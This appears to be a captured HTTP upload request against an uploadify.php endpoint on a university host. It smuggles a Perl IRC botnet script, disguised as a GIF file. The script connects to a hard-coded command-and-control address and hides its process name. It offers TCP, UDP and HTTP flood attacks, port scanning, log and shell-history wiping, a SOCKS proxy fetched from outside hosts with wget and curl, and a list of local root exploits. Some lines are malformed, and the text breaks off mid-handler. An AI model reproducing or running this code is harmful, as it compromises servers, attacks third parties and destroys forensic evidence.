POST /admin/include/uploadify/uploadify.php HTTP/1.1                            
   TE: deflate,gzip;q=0.3                                                          
   Connection: TE, close                                                           
   Host: oucsace.cs.ohiou.edu                                                      
   User-Agent: Mozilla/3.0 (OS/2; U)                                               
   Content-Length: 40920                                                           
   Content-Type: multipart/form-data; boundary=xYzZY                               
                                                                                   
   --xYzZY                                                                         
   Content-Disposition: form-data; name="Filedata"; filename="wpa.bwe.gif"         
   Content-Type: image/gif                                                         
                                                                                   
   #!/usr/bin/perl                                                                 
   use HTTP::Request;                                                              
   use LWP::UserAgent;                                                             
   my $processo = '/sbin/syslogd';                                                 
   my $linas_max='3';                                                              
   my $aspetta='2';                                                                
   ############################################                                    
   my @admins=("dark","Lemon-Ice","ElNuevoDiablo","Silenzio");                     
   my @canale=("#perl1");                                                          
   #Put your channel here                                                          
   my @nickname = ("BP-");                                                         
   my $nick = $nickname[rand scalar @nickname];                                    
   #Nickname of bot                                                                
   my $iname ='.';                                                                 
   chop (my $realname = 'darkCrew');                                               
                                                                                   
   $iconn='65.12.169.227' unless $iconn;                                           
   my $iport='21333';                                                              
   ############################################                                    
   $SIG{'INT'} = 'IGNORE';                                                         
   $SIG{'HUP'} = 'IGNORE';                                                         
   $SIG{'TERM'} = 'IGNORE';                                                        
   $SIG{'CHLD'} = 'IGNORE';                                                        
   $SIG{'PS'} = 'IGNORE';                                                          
   use IO::Socket;                                                                 
   use Socket;                                                                     
   use IO::Select;                                                                 
   chdir("/");                                                                     
                                                                                   
   #Connect                                                                        
   $iconn="$ARGV[0]" if $ARGV[0];                                                  
   $0="$processo"."\0"x16;;                                                        
   my $pid=fork;                                                                   
   exit if $pid;                                                                   
   die "f o r k: $!" unless defined($pid);                                         
                                                                                   
   our %iconns;                                                                    
   our %DCC;                                                                       
   my $dcc_sel = new IO::Select->new();                                            
   $sel_cliente = IO::Select->new();                                               
   sub sendraw {                                                                   
      if ($#_ == '1') {                                                            
         my $socket = $_[0];                                                       
         print $socket "$_[1]\n";                                                  
                                                                                   
      } else {                                                                     
         print $ICUsocket "$_[0]\n";                                               
      }                                                                            
   }                                                                               
                                                                                   
   sub conectar {                                                                  
      my $mionick = $_[0];                                                         
      my $iconn_con = $_[1];                                                       
      my $iport_con = $_[2];                                                       
                                                                                   
      my $Isocket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$iconn_con",    
      PeerPort=>$iport_con) or return(1);                                          
      if (defined($Isocket)) {                                                     
         $ICUsocket = $Isocket;                                                    
         $Isocket->autoflush(1);                                                   
         $sel_cliente->add($Isocket);                                              
         $iconns{$ICUsocket}{'host'} = "$iconn_con";                               
         $iconns{$ICUsocket}{'porta'} = "$iport_con";                              
         $iconns{$ICUsocket}{'nick'} = $mionick;                                   
         $iconns{$ICUsocket}{'meuip'} = $Isocket->sockhost;                        
         nick("$mionick");                                                         
         sendraw("USER $iname ".$Isocket->sockhost." $iconn_con :$realname");      
         sleep 1;                                                                  
      }                                                                            
   }                                                                               
                                                                                   
   my $line_temp;                                                                  
   while( 1 ) {                                                                    
      while (!(keys(%iconns))) { conectar("$nick", "$iconn", "$iport"); }          
      select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
      delete($iconns{''}) if (defined($iconns{''}));                               
      my @ready = $sel_cliente->can_read(0);                                       
      next unless(@ready);                                                         
      foreach $fh (@ready) {                                                       
         $ICUsocket = $fh;                                                         
         $mionick = $iconns{$ICUsocket}{'nick'};                                   
         $nread = sysread($fh, $msg, 4096);                                        
         if ($nread == 0) {                                                        
            $sel_cliente->remove($fh);                                             
            $fh->close;                                                            
            delete($iconns{$fh});                                                  
         }                                                                         
         @lines = split (/\n/, $msg);                                              
         for(my $c=0; $c<= $#lines; $c++) {                                        
            $line = $lines[$c];                                                    
            $line=$line_temp.$line if ($line_temp);                                
            $line_temp='';                                                         
            $line =~ s/\r$//;                                                      
            unless ($c == $#lines) {                                               
               parse("$line");                                                     
            } else {                                                               
               if ($#lines == 0) {                                                 
                  parse("$line");                                                  
               } elsif ($lines[$c] =~ /\r$/) {                                     
                  parse("$line");                                                  
               } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {                   
                  parse("$line");                                                  
               } else {                                                            
                  $line_temp = $line;                                              
               }                                                                   
            }                                                                      
         }                                                                         
      }                                                                            
   }                                                                               
                                                                                   
   sub parse {                                                                     
      my $servarg = shift;                                                         
      if ($servarg =~ /^PING \:(.*)/) {                                            
         sendraw("PONG :$1");                                                      
      } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {        
         my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;                
         if ($args =~ /^\001VERSION\001$/) {                                       
            notice("$pn", "\001VERSION Pitbul by Tagar\001");                      
         }                                                                         
         if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {                                
            if ($onde eq "$mionick"){                                              
               shell("$pn", "$args");                                              
            }                                                                      
   #End of Connect                                                                 
            if ($args =~ /^(\Q$mionick\E|\!bot)\s+(.*)/ ) {                        
               my $natrix = $1;                                                    
               my $arg = $2;                                                       
               if ($arg =~ /^\!(.*)/) {                                            
                  icase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
               } elsif ($arg =~ /^\@(.*)/) {                                       
                  $ondep = $onde;                                                  
                  $ondep = $pn if $onde eq $mionick;                               
                  bfunc("$ondep","$1");                                            
               } else {                                                            
                  shell("$onde", "$arg");                                          
               }                                                                   
            }                                                                      
         }                                                                         
      }                                                                            
   ######################### End of prefix                                         
      elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {             
         if (lc($1) eq lc($mionick)) {                                             
            $mionick=$4;                                                           
            $iconns{$ICUsocket}{'nick'} = $mionick;                                
         }                                                                         
      } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {                                   
         nick("$mionick|".int rand(999999));                                       
      } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {                         
         $mionick = $2;                                                            
         $iconns{$ICUsocket}{'nick'} = $mionick;                                   
         $iconns{$ICUsocket}{'nome'} = "$1";                                       
         foreach my $canal (@canale) {                                             
            sendraw("JOIN $canal $key");                                           
         }                                                                         
      }                                                                            
   }                                                                               
                                                                                   
   sub bfunc {                                                                     
      my $printl = $_[0];                                                          
      my $funcarg = $_[1];                                                         
      if (my $pid = fork) {                                                        
         waitpid($pid, 0);                                                         
      } else {                                                                     
         if (fork) {                                                               
            exit;                                                                  
         } else {                                                                  
                                                                                   
            if ($funcarg =~ /^killme/) {                                           
               sendraw($ICUsocket, "QUIT :");                                      
               $killd = "kill -9 ".fork;                                           
               system (`$killd`);                                                  
            }                                                                      
   ######################                                                          
   #                    Commands                      #                            
   ######################                                                          
            if ($funcarg =~ /^commands/) {                                         
               sendraw($ICUsocket, "PRIVMSG $printl : 4,1[ 14@ 9-[darkCrEw B0T Commands List]- 14@ 4 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4,1[ 14@ 13-----[darkCrEw/Hacking Based]----- 14@ 4 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3socks5");        
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3portscan "); 
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3logcleaner");    
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3sendmail    ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3system");        
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3cleartmp");      
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3rootable");      
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3nmap   ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3back ");   
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3cd tmp:. | for example");
               sendraw($ICUsocket, "PRIVMSG $printl : 4,1[ 14@ 13-----[DDos Based]----- 14@ 4 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3udpflood   
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3tcpflood    
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3httpflood  
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3sqlflood  
               sendraw($ICUsocket, "PRIVMSG $printl : 4,1[ 14@ 13-----[I-R-C Based]----- 14@ 4 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3killme");        
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3join #channel");   
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3part #channel"); 
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3reset");         
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3voice  ");  
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3owner  ");  
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3deowner  ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3devoice  ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3halfop  "); 
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3dehalfop  ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3op  ");     
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3deop  ");   
   }                                                                               
                                                                                   
                                                                                   
            if ($funcarg =~ /^help/) {                                             
                sendraw($ICUsocket, "PRIVMSG $printl : 4,1[ 14@ 13-----[Help Commands]----- 14@ 4 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3i-r-c - For I-R-C Bot Command Help ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3ddos - For DDos Command Help");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3hacking - For Hacking Command Help");
            }                                                                      
                                                                                   
                                                                                   
                                                                                   
            if ($funcarg =~ /^irc/) {                                              
               sendraw($ICUsocket, "PRIVMSG $printl : 12,1[ 14@ 13-----[I-R-C Commands]----- 14@ 12 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3voice  ");  
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3owner  ");  
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3deowner  ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3devoice  ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3halfop  "); 
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3dehalfop  ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3op  ");     
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3deop  ");   
            }                                                                      
                                                                                   
            if ($funcarg =~ /^ddos/) {                                             
               sendraw($ICUsocket, "PRIVMSG $printl : 12,1[ 14@ 13-----[Ddos Commands]----- 14@ 12 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3udpflood   
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3tcpflood   
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3megaflood   
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3udpsingle    
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3tcpsingle    
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3megasingle    
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3httpflood  
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3sqlflood  
            }                                                                      
                                                                                   
                                                                                   
            if ($funcarg =~ /^hacking/) {                                          
               sendraw($ICUsocket, "PRIVMSG $printl : 12,1[ 14@ 13-----[Hacking Commands]----- 14@ 12 ] ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3socks5");        
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3portscan "); 
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3logcleaner");    
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3sendmail    ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3system");        
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3cleartmp");      
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3rootable");      
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3nmap   ");
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3back ");   
               sendraw($ICUsocket, "PRIVMSG $printl : 4!bot  14@ 3cd tmp:. | for example");
            }                                                                      
   ######################                                                          
   #   End of  Help     #                                                          
   ######################                                                          
   ######################                                                          
   #     Commands       #                                                          
   ######################                                                          
            if ($funcarg =~ /^system/) {                                           
               $uname=`uname -a`;                                                  
               $uptime=`uptime`;                                                   
               $ownd=`pwd`;                                                        
               $distro=`cat /etc/issue`;                                           
               $id=`id`;                                                           
               $un=`uname -sro`;                                                   
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Info BOT");
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Uname -a     :  7 $uname");
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Uptime       :  7 $uptime");
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Own Prosses  :  7 $processo");
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12ID           :  7 $id");
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Own Dir      :  7 $ownd");
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12OS           :  7 $distro");
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Owner        :  7 dark");
                                                                                   
            }                                                                      
                                                                                   
                                                                                   
   ######################                                                          
   #      Portscan      #                                                          
   ######################                                                          
            if ($funcarg =~ /^portscan (.*)/) {                                    
               my $hostip="$1";                                                    
               @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
               my (@aberta, %porta_banner);                                        
               sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Port-Scanner 12] Scanning for open ports on ".$1."  12 started .");
               foreach my $porta (@portas)  {                                      
                  my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
                     'tcp', Timeout => 4);                                         
                  if ($scansock) {                                                 
                     push (@aberta, $porta);                                       
                     $scansock->close;                                             
                  }                                                                
               }                                                                   
                                                                                   
               if (@aberta) {                                                      
                  sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Port-Scanner 12] Open ports founded: @aberta");
               } else {                                                            
                  sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Port-Scanner 12] No open ports foundend.");
               }                                                                   
            }                                                                      
                                                                                   
   ######################                                                          
   #  End of  Portscan  #                                                          
   #####################                                                           
                                                                                   
   ######################                                                          
   #Auto Install Socks V5 using Mocks#                                             
   ######################                                                          
   if ($funcarg =~ /^socks5/) {                                                    
      sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] 12 Installing Mocks please wait 4");
         system 'cd /tmp';                                                         
         system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
         system 'tar -xvfz mocks-0.0.2.tar.gz';                                    
         system 'rm -rf mocks-0.0.2.tar.gz';                                       
         system 'cd mocks-0.0.2';                                                  
         system 'rm -rf mocks.conf';                                               
         system 'curl -O http://andromeda.covers.de/221/mocks.conf';               
         system 'touch mocks.log';                                                 
         system 'chmod 0 mocks.log';                                               
            sleep(2);                                                              
         system './mocks start';                                                   
            sleep(4);                                                              
         sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] 12 Looks like its succesfully installed lets do the last things 4   ");
                                                                                   
         #lets grab ip                                                             
         $net = `/sbin/ifconfig | grep 'eth0'`;                                    
         if (length($net))                                                         
         {                                                                         
         $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;                          
         if (!length($net))                                                        
         {                                                                         
         $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;                          
         }                                                                         
            if (length($net))                                                      
         {                                                                         
            chop($net);                                                            
            @netip = split/:/,$net;                                                
            $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;                
            $ip = $1 .".". $2 .".". $3 .".". $4;                                   
                                                                                   
               #and print it ^^                                                    
               sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] Connect here : 4 ". $ip .":8787 ");
            }                                                                      
         else                                                                      
      {                                                                            
         sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] IP not founded ");
      }                                                                            
   }                                                                               
   else                                                                            
   {                                                                               
         sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] ERROR WHILE INSTALLING MOCKS ");
   }                                                                               
   }                                                                               
   ######################                                                          
   #        Nmap        #                                                          
   ######################                                                          
      if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){                             
            my $hostip="$1";                                                       
            my $portstart = "$2";                                                  
            my $portend = "$3";                                                    
            my (@abertas, %porta_banner);                                          
          sendraw($ICUsocket, "PRIVMSG $printl : Nmap PortScan  12:.  4|   4: $1:. |.:  4Ports  12:.  4 $2-$3");
          foreach my $porta ($portstart..$portend){                                
                  my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
       if ($scansock) {                                                            
                    push (@abertas, $porta);                                       
                    $scansock->close;                                              
                    if ($xstats){                                                  
           sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Nmap 12]  Nmap PortScan :. |Founded   4 $porta"."/Open");
                    }                                                              
                  }                                                                
                }                                                                  
                if (@abertas) {                                                    
           sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Nmap 12]  Nmap PortScan  12:.  4| Complete ");
                } else {                                                           
           sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Nmap 12]  Nmap PortScan  12:.  4| No open ports have been founded  13");
                }                                                                  
             }                                                                     
   ######################                                                          
   #    End of Nmap     #                                                          
   ######################                                                          
   ######################                                                          
   #    Log Cleaner     #                                                          
   ######################                                                          
   if ($funcarg =~ /^logcleaner/) {                                                
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  This process can be long, just wait");
       system 'rm -rf /var/log/lastlog';                                           
       system 'rm -rf /var/log/wtmp';                                              
      system 'rm -rf /etc/wtmp';                                                   
      system 'rm -rf /var/run/utmp';                                               
      system 'rm -rf /etc/utmp';                                                   
      system 'rm -rf /var/log';                                                    
      system 'rm -rf /var/logs';                                                   
      system 'rm -rf /var/adm';                                                    
      system 'rm -rf /var/apache/log';                                             
      system 'rm -rf /var/apache/logs';                                            
      system 'rm -rf /usr/local/apache/log';                                       
      system 'rm -rf /usr/local/apache/logs';                                      
      system 'rm -rf /root/.bash_history';                                         
      system 'rm -rf /root/.ksh_history';                                          
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  All default log and bash_history files erased");
         sleep 1;                                                                  
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  Now Erasing the rest of the machine log files");
      system 'find / -name *.bash_history -exec rm -rf {} \;';                     
      system 'find / -name *.bash_logout -exec rm -rf {} \;';                      
      system 'find / -name "log*" -exec rm -rf {} \;';                             
      system 'find / -name *.log -exec rm -rf {} \;';                              
         sleep 1;                                                                  
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  Done! All logs erased");
         }                                                                         
   ######################                                                          
   # End of Log Cleaner #                                                          
   ######################                                                          
                                                                                   
   ######################                                                          
   #        Rootable    #                                                          
   ######################                                                          
   if ($funcarg =~ /^rootable/) {                                                  
   my $khost = `uname -r`;                                                         
   my $currentid = `whoami`;                                                       
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Rootable 12] Currently you are ".$currentid." ");
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Rootable 12] The kernel of this box is ".$khost." ");
   chomp($khost);                                                                  
                                                                                   
      my %h;                                                                       
      $h{'w00t'} = {                                                               
         vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']    
      };                                                                           
                                                                                   
      $h{'brk'} = {                                                                
         vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']                               
      };                                                                           
                                                                                   
      $h{'ave'} = {                                                                
         vuln=>['2.4.19','2.4.20']                                                 
      };                                                                           
                                                                                   
      $h{'elflbl'} = {                                                             
         vuln=>['2.4.29']                                                          
      };                                                                           
                                                                                   
      $h{'elfdump'} = {                                                            
         vuln=>['2.4.27']                                                          
      };                                                                           
                                                                                   
      $h{'expand_stack'} = {                                                       
         vuln=>['2.4.29']                                                          
      };                                                                           
                                                                                   
      $h{'h00lyshit'} = {                                                          
         vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
      };                                                                           
                                                                                   
      $h{'kdump'} = {                                                              
         vuln=>['2.6.13']                                                          
      };                                                                           
                                                                                   
      $h{'km2'} = {                                                                
         vuln=>['2.4.18','2.4.22']                                                 
      };                                                                           
                                                                                   
      $h{'krad'} = {                                                               
         vuln=>['2.6.11']                                                          
      };                                                                           
                                                                                   
      $h{'krad3'} = {                                                              
         vuln=>['2.6.11','2.6.9']                                                  
      };                                                                           
                                                                                   
      $h{'local26'} = {                                                            
         vuln=>['2.6.13']                                                          
      };                                                                           
                                                                                   
      $h{'loko'} = {                                                               
         vuln=>['2.4.22','2.4.23','2.4.24']                                        
      };                                                                           
                                                                                   
      $h{'mremap_pte'} = {                                                         
         vuln=>['2.4.20','2.2.25','2.4.24']                                        
      };                                                                           
                                                                                   
      $h{'newlocal'} = {                                                           
         vuln=>['2.4.17','2.4.19','2.4.18']                                        
      };                                                                           
                                                                                   
      $h{'ong_bak'} = {                                                            
         vuln=>['2.4.','2.6.']                                                     
      };                                                                           
                                                                                   
      $h{'ptrace'} = {                                                             
         vuln=>['2.2.','2.4.22']                                                   
      };                                                                           
                                                                                   
      $h{'ptrace_kmod'} = {                                                        
         vuln=>['2.4.2']                                                           
      };                                                                           
                                                                                   
      $h{'ptrace24'} = {                                                           
         vuln=>['2.4.9']                                                           
      };                                                                           
                                                                                   
      $h{'pwned'} = {                                                              
         vuln=>['2.4.','2.6.']                                                     
      };                                                                           
                                                                                   
      $h{'py2'} = {                                                                
         vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']                                
      };                                                                           
                                                                                   
      $h{'raptor_prctl'} = {                                                       
         vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']                               
      };                                                                           
                                                                                   
      $h{'prctl3'} = {                                                             
         vuln=>['2.6.13','2.6.17','2.6.9']                                         
      };                                                                           
                                                                                   
      $h{'remap'} = {                                                              
         vuln=>['2.4.']                                                            
      };                                                                           
                                                                                   
      $h{'rip'} = {                                                                
         vuln=>['2.2.']                                                            
      };                                                                           
                                                                                   
      $h{'stackgrow2'} = {                                                         
         vuln=>['2.4.29','2.6.10']                                                 
      };                                                                           
                                                                                   
      $h{'uselib24'} = {                                                           
         vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']                               
      };                                                                           
                                                                                   
      $h{'newsmp'} = {                                                             
         vuln=>['2.6.']                                                            
      };                                                                           
                                                                                   
      $h{'smpracer'} = {                                                           
         vuln=>['2.4.29']                                                          
      };                                                                           
                                                                                   
      $h{'loginx'} = {                                                             
         vuln=>['2.4.22']                                                          
      };                                                                           
                                                                                   
      $h{'exp.sh'} = {                                                             
         vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']                                
      };                                                                           
                                                                                   
      $h{'prctl'} = {                                                              
         vuln=>['2.6.']                                                            
      };                                                                           
                                                                                   
      $h{'kmdx'} = {                                                               
         vuln=>['2.6.','2.4.']                                                     
      };                                                                           
                                                                                   
      $h{'raptor'} = {                                                             
         vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']                               
      };                                                                           
                                                                                   
      $h{'raptor2'} = {                                                            
         vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']                               
      };                                                                           
                                                                                   
   foreach my $key(keys %h){                                                       
   foreach my $kernel ( @{ $h{$key}{'vuln'} } ){                                   
      if($khost=~/^$kernel/){                                                      
      chop($kernel) if ($kernel=~/.$/);                                            
      sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Rootable 12] Possible Local Root Exploits: ". $key ." ");
         }                                                                         
      }                                                                            
   }                                                                               
   }                                                                               
   ######################                                                          
   #       MAILER       #                                                          
   ######################                                                          
   if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {                      
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Mailer 12]  Mailer :. |  Sending Mail to : 2 $3");
   $subject = $1;                                                                  
   $sender = $2;                                                                   
   $recipient = $3;                                                                
   @corpo = $4;                                                                    
   $mailtype = "content-type: text/html";                                          
   $sendmail = '/usr/sbin/sendmail';                                               
   open (SENDMAIL, "| $sendmail -t");                                              
   print SENDMAIL "$mailtype\n";                                                   
   print SENDMAIL "Subject: $subject\n";                                           
   print SENDMAIL "From: $sender\n";                                               
   print SENDMAIL "To: $recipient\n\n";                                            
   print SENDMAIL "@corpo\n\n";                                                    
   close (SENDMAIL);                                                               
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Mailer 12]   Mailer :. |  Mail Sent To : 2 $recipient");
   }                                                                               
   ######################                                                          
   #   End of MAILER    #                                                          
   ######################                                                          
   # A /tmp cleaner                                                                
   if ($funcarg =~ /^cleartmp/) {                                                  
       system 'cd /tmp;rm -rf *';                                                  
            sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3TMPCleaner 12] /tmp is Cleaned");
            }                                                                      
                                                                                   
                                                                                   
   ######################                                                          
   #  i-r-c    #                                                                   
   ######################                                                          
            if ($funcarg =~ /^reset/) {                                            
               sendraw($ICUsocket, "QUIT :");                                      
            }                                                                      
            if ($funcarg =~ /^join (.*)/) {                                        
               sendraw($ICUsocket, "JOIN ".$1);                                    
            }                                                                      
            if ($funcarg =~ /^part (.*)/) {                                        
               sendraw($ICUsocket, "PART ".$1);                                    
            }                                                                      
            if ($funcarg =~ /^voice (.*)/) {                                       
               sendraw($ICUsocket, "MODE $printl +v ".$1);                         
              }                                                                    
            if ($funcarg =~ /^devoice (.*)/) {                                     
               sendraw($ICUsocket, "MODE $printl -v ".$1);                         
              }                                                                    
            if ($funcarg =~ /^halfop (.*)/) {                                      
               sendraw($ICUsocket, "MODE $printl +h ".$1);                         
              }                                                                    
            if ($funcarg =~ /^dehalfop (.*)/) {                                    
               sendraw($ICUsocket, "MODE $printl -h ".$1);                         
              }                                                                    
            if ($funcarg =~ /^owner (.*)/) {                                       
               sendraw($ICUsocket, "MODE $printl +q ".$1);                         
              }                                                                    
            if ($funcarg =~ /^deowner (.*)/) {                                     
               sendraw($ICUsocket, "MODE $printl -q ".$1);                         
            }                                                                      
            if ($funcarg =~ /^op (.*)/) {                                          
               sendraw($ICUsocket, "MODE $printl +o ".$1);                         
              }                                                                    
            if ($funcarg =~ /^deop (.*)/) {                                        
               sendraw($ICUsocket, "MODE $printl -o ".$1);                         
              }                                                                    
   ######################                                                          
   #End of Join And Part#                                                          
   ######################                                                          
   ######################                                                          
   #     TCPFlood       #                                                          
   ######################                                                          
                                                                                   
            if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {                  
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3TCP-DDoS 12:. 4| 12 Attacking  4 ".$1."  12 with  4 ".$2."  12 Kb Packets for  4 ".$3."  12 seconds.");
      my ($dtime, %pacotes) = tcpflooder("$1", "$2", "$3");                        
      $dtime = 1 if $dtime == 0;                                                   
               my %bytes;                                                          
               $bytes{tcp} = $2 * $pacotes{tcp};                                   
               $bytes{o} = $2 * $pacotes{o};                                       
               sendraw($ICUsocket, "PRIVMSG $printl : 4[ 4@ 3TCP-DDoS 12] 12  12Results 4 ".int(($bytes{tcp}+$bytes{o})/1024)."  12Kb in 4 ".$dtime."  12seconds to 4 ".$1.".");
        }                                                                          
                                                                                   
         if ($funcarg =~ /^tcpsingle\s+(.*)\s+(\d+)\s+(\d+)\s+(\d+)/) {            
